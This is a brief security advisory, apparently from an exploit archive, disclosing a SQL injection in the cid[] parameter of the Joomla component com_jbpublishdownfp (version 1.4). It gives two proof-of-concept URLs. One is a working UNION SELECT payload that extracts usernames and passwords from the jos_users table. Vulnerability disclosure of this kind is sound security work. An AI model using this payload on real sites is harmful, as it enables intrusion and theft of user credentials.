[~]>> ...[BEGIN ADVISORY]...

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[~]>> TITLE: Joomla (com_jbpublishdownfp) SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost
[~]>> PRE-REQUERIMENTS: Privileged user

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[~]>> DESCRIPTION: Input var cid[] is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.4 but probably other versions also 
[~]>> RISK: Low/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

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[~]>> PROOFS OF CONCEPT:

[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_jbpublishdownfp&task=edit&cid[]=[SQL]
[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_jbpublishdownfp&task=edit&cid[]=-1+union+all+select+concat(username,0x3A3A3A,password)+from+jos_users

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[~]>> ...[END ADVISORY]...
 